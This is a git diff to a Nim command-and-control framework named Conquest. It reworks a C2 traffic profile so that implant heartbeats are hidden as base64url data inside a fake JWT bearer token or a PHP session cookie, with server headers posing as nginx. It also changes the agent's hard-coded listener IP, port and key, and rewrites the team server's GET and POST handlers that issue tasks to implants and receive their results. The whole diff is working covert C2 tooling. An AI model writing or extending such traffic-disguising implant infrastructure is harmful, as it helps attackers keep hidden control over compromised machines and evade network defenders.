diff --git a/data/profile.toml b/data/profile.toml index b3a57ca..6870076 100644 --- a/data/profile.toml +++ b/data/profile.toml @@ -18,20 +18,28 @@ user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTM # ---------------------------------------------------------- # Defines URI endpoints for HTTP GET requests [http-get] -uri = [ - "/tasks", +endpoints = [ + "/get", "/api/v1.2/status.js" ] # Defines where the heartbeat is placed within the HTTP GET request # Allows for data transformation using encoding (base64, base64url, ...), appending and prepending of strings # Metadata can be stored in a Header (e.g. JWT Token, Session Cookie), URI parameter, appended to the URI or request body +# Encoding is only applied to the payload and not the prepended or appended strings [http-get.agent.heartbeat] -encoding = "base64url" -prepend = "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9." -append = ".KMUFsIDTnFmyG3nMiGM6H9FNFUROf3wh7SmqJp-QV30" placement = { type = "header", name = "Authorization" } +encoding = { type = "base64", url-safe = true } +prefix = "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9." +suffix = ".KMUFsIDTnFmyG3nMiGM6H9FNFUROf3wh7SmqJp-QV30" + +# Example: PHP session cookie # placement = { type = "header", name = "Cookie" } +# prefix = "PHPSESSID=" +# suffix = ", path=/" +# encoding = { type = "base64", url-safe = true } + +# Other examples # placement = { type = "parameter", name = "id" } # placement = { type = "uri" } # placement = { type = "body" } @@ -41,12 +49,13 @@ placement = { type = "header", name = "Authorization" } # Defines arbitrary headers that are added by the agent when performing a HTTP GET request [http-get.agent.headers] -"Cache-Control" = "no-cache" +Cache-Control = "no-cache" # Defines arbitrary headers that are added to the server's response [http-get.server.headers] -"Server" = "nginx" -"X-CONQUEST-VERSION" = "0.1" +Server = "nginx" +Content-Type = "application/octet-stream" +Connection = "Keep-Alive" # Defines how the server's response to the task retrieval request is rendered # Allows same data transformation options as the agent metadata, allowing it to be embedded in benign content @@ -58,24 +67,21 @@ placement = { type = "body" } # ---------------------------------------------------------- # Defines URI endpoints for HTTP POST requests [http-post] -uri = [ - "/results", +endpoints = [ + "/post", "/api/v2/get.js" ] -request_methods = [ - "POST", - "PUT" -] [http-post.agent.headers] +Content-Type = "application/octet-stream" +Connection = "Keep-Alive" Cache-Control = "no-cache" [http-post.agent.output] placement = { type = "body" } [http-post.server.headers] -"Server" = "nginx" -"X-CONQUEST-VERSION" = "0.1" +Server = "nginx" [http-post.server.output] placement = { type = "body" } \ No newline at end of file diff --git a/src/agent/nim.cfg b/src/agent/nim.cfg index 3030ff4..a627080 100644 --- a/src/agent/nim.cfg +++ b/src/agent/nim.cfg @@ -1,9 +1,9 @@ # Agent configuration --d:ListenerUuid="7147A315" --d:Octet1="127" --d:Octet2="0" --d:Octet3="0" --d:Octet4="1" --d:ListenerPort=5555 +-d:ListenerUuid="03FBA764" +-d:Octet1="172" +-d:Octet2="29" +-d:Octet3="177" +-d:Octet4="43" +-d:ListenerPort=7777 -d:SleepDelay=5 -d:ServerPublicKey="mi9o0kPu1ZSbuYfnG5FmDUMAvEXEvp11OW9CQLCyL1U=" diff --git a/src/common/types.nim b/src/common/types.nim index f132222..295b6c1 100644 --- a/src/common/types.nim +++ b/src/common/types.nim @@ -157,11 +157,6 @@ type port*: int protocol*: Protocol - HttpListener* = ref object of Listener - register_endpoint*: string - get_endpoint*: string - post_endpoint*: string - # Server context structure type KeyPair* = object diff --git a/src/server/api/handlers.nim b/src/server/api/handlers.nim index 2344a8b..9a60266 100644 --- a/src/server/api/handlers.nim +++ b/src/server/api/handlers.nim @@ -33,13 +33,13 @@ proc register*(registrationData: seq[byte]): bool = return true -proc getTasks*(checkinData: seq[byte]): seq[seq[byte]] = +proc getTasks*(heartbeat: seq[byte]): seq[seq[byte]] = {.cast(gcsafe).}: # Deserialize checkin request to obtain agentId and listenerId let - request: Heartbeat = cq.deserializeHeartbeat(checkinData) + request: Heartbeat = cq.deserializeHeartbeat(heartbeat) agentId = uuidToString(request.header.agentId) listenerId = uuidToString(request.listenerId) timestamp = request.timestamp diff --git a/src/server/api/routes.nim b/src/server/api/routes.nim index f33bdc7..7551f4f 100644 --- a/src/server/api/routes.nim +++ b/src/server/api/routes.nim @@ -1,4 +1,4 @@ -import prologue, json, terminal, strformat +import prologue, json, terminal, strformat, parsetoml, tables import sequtils, strutils, times, base64 import ./handlers @@ -9,75 +9,113 @@ proc error404*(ctx: Context) {.async.} = resp "", Http404 #[ - GET /tasks + GET Called from agent to check for new tasks ]# proc httpGet*(ctx: Context) {.async.} = - # Check headers - # Heartbeat data is hidden base64-encoded within "Authorization: Bearer" header, between a prefix and suffix - if not ctx.request.hasHeader("Authorization"): - resp "", Http404 - return + {.cast(gcsafe).}: - let checkinData: seq[byte] = string.toBytes(decode(ctx.request.getHeader("Authorization")[0].split(".")[1])) + # Check heartbeat metadata placement + var heartbeat: seq[byte] + var heartbeatString: string + let heartbeatPlacement = cq.profile["http-get"]["agent"]["heartbeat"]["placement"]["type"].getStr() - try: - var response: seq[byte] - let tasks: seq[seq[byte]] = getTasks(checkinData) + case heartbeatPlacement: + of "header": + let heartbeatHeader = cq.profile["http-get"]["agent"]["heartbeat"]["placement"]["name"].getStr() + if not ctx.request.hasHeader(heartbeatHeader): + resp "", Http404 + return - if tasks.len <= 0: - resp "", Http200 - return + heartbeatString = ctx.request.getHeader(heartbeatHeader)[0] - # Create response, containing number of tasks, as well as length and content of each task - # This makes it easier for the agent to parse the tasks - response.add(cast[uint8](tasks.len)) + of "parameter": + discard + of "uri": + discard + of "body": + discard + else: discard - for task in tasks: - response.add(uint32.toBytes(uint32(task.len))) - response.add(task) - - await ctx.respond( - code = Http200, - body = Bytes.toString(response) - ) + # Retrieve and apply data transformation to get raw heartbeat packet + let + encoding = cq.profile["http-get"]["agent"]["heartbeat"]["encoding"]["type"].getStr("none") + prefix = cq.profile["http-get"]["agent"]["heartbeat"]["prefix"].getStr("") + suffix = cq.profile["http-get"]["agent"]["heartbeat"]["suffix"].getStr("") - # Notify operator that agent collected tasks - {.cast(gcsafe).}: + let encHeartbeat = heartbeatString[len(prefix) ..^ len(suffix) + 1] + + case encoding: + of "base64": + heartbeat = string.toBytes(decode(encHeartbeat)) + of "none": + heartbeat = string.toBytes(encHeartbeat) + + try: + var response: seq[byte] + let tasks: seq[seq[byte]] = getTasks(heartbeat) + + if tasks.len <= 0: + resp "", Http200 + return + + # Create response, containing number of tasks, as well as length and content of each task + # This makes it easier for the agent to parse the tasks + response.add(cast[uint8](tasks.len)) + + for task in tasks: + response.add(uint32.toBytes(uint32(task.len))) + response.add(task) + + # Add headers, as defined in the team server profile + for header, value in cq.profile["http-get"]["server"]["headers"].getTable(): + ctx.response.setHeader(header, value.getStr()) + + await ctx.respond(Http200, Bytes.toString(response), ctx.response.headers) + ctx.handled = true # Ensure that HTTP response is sent only once + + # Notify operator that agent collected tasks let date = now().format("dd-MM-yyyy HH:mm:ss") cq.writeLine(fgBlack, styleBright, fmt"[{date}] [*] ", resetStyle, fmt"{$response.len} bytes sent.") - except CatchableError: - resp "", Http404 + except CatchableError: + resp "", Http404 #[ - POST /results - Called from agent to post results of a task + POST + Called from agent to register itself or post results of a task ]# proc httpPost*(ctx: Context) {.async.} = - # Check headers - # If POST data is not binary data, return 404 error code - if ctx.request.contentType != "application/octet-stream": - resp "", Http404 - return + {.cast(gcsafe).}: - try: - # Differentiate between registration and task result packet - var unpacker = Unpacker.init(ctx.request.body) - let header = unpacker.deserializeHeader() + # Check headers + # If POST data is not binary data, return 404 error code + if ctx.request.contentType != "application/octet-stream": + resp "", Http404 + return + + try: + # Differentiate between registration and task result packet + var unpacker = Unpacker.init(ctx.request.body) + let header = unpacker.deserializeHeader() + + # Add response headers, as defined in team server profile + for header, value in cq.profile["http-post"]["server"]["headers"].getTable(): + ctx.response.setHeader(header, value.getStr()) + + if cast[PacketType](header.packetType) == MSG_REGISTER: + if not register(string.toBytes(ctx.request.body)): + resp "", Http400 + return + + elif cast[PacketType](header.packetType) == MSG_RESULT: + handleResult(string.toBytes(ctx.request.body)) - if cast[PacketType](header.packetType) == MSG_REGISTER: - if not register(string.toBytes(ctx.request.body)): - resp "", Http400 - return resp "", Http200 - - elif cast[PacketType](header.packetType) == MSG_RESULT: - handleResult(string.toBytes(ctx.request.body)) - except CatchableError: - resp "", Http404 + except CatchableError: + resp "", Http404 - return \ No newline at end of file + return \ No newline at end of file diff --git a/src/server/core/listener.nim b/src/server/core/listener.nim index 89e2a96..02616a0 100644 --- a/src/server/core/listener.nim +++ b/src/server/core/listener.nim @@ -1,5 +1,7 @@ import strformat, strutils, sequtils, terminal -import prologue +import prologue, parsetoml +import sugar + import ../utils import ../api/routes @@ -13,15 +15,6 @@ proc delListener(cq: Conquest, listenerName: string) = proc add(cq: Conquest, listener: Listener) = cq.listeners[listener.listenerId] = listener -proc newListener*(listenerId: string, address: string, port: int): Listener = - var listener = new Listener - listener.listenerId = listenerId - listener.address = address - listener.port = port - listener.protocol = HTTP - - return listener - #[ Listener management ]# @@ -65,13 +58,24 @@ proc listenerStart*(cq: Conquest, host: string, portStr: string) = var listener = newApp(settings = listenerSettings) - # Define API endpoints - listener.get("get", routes.httpGet) - listener.post("post", routes.httpPost) + # Define API endpoints based on C2 profile + # GET requests + for endpoint in cq.profile["http-get"]["endpoints"].getElems(): + listener.get(endpoint.getStr(), routes.httpGet) + + # POST requests + for endpoint in cq.profile["http-post"]["endpoints"].getElems(): + listener.post(endpoint.getStr(), routes.httpPost) + listener.registerErrorHandler(Http404, routes.error404) # Store listener in database - var listenerInstance = newListener(name, host, port) + var listenerInstance = Listener( + listenerId: name, + address: host, + port: port, + protocol: HTTP + ) if not cq.dbStoreListener(listenerInstance): return @@ -97,11 +101,18 @@ proc restartListeners*(cq: Conquest) = ) listener = newApp(settings = settings) - # Define API endpoints - listener.get("get", routes.httpGet) - listener.post("post", routes.httpPost) - listener.registerErrorHandler(Http404, routes.error404) + # Define API endpoints based on C2 profile + # TODO: Store endpoints for already running listeners is DB (comma-separated) and use those values for restarts + # GET requests + for endpoint in cq.profile["http-get"]["endpoints"].getElems(): + listener.get(endpoint.getStr(), routes.httpGet) + # POST requests + for endpoint in cq.profile["http-post"]["endpoints"].getElems(): + listener.post(endpoint.getStr(), routes.httpPost) + + listener.registerErrorHandler(Http404, routes.error404) + try: discard listener.runAsync() cq.add(l) diff --git a/src/server/nim.cfg b/src/server/nim.cfg index 649127b..be063d8 100644 --- a/src/server/nim.cfg +++ b/src/server/nim.cfg @@ -1,6 +1,6 @@ # Compiler flags -d:server --threads:on --d:httpxServerName="nginx" +-d:httpxServerName="" --outdir:"../bin" --out:"server" \ No newline at end of file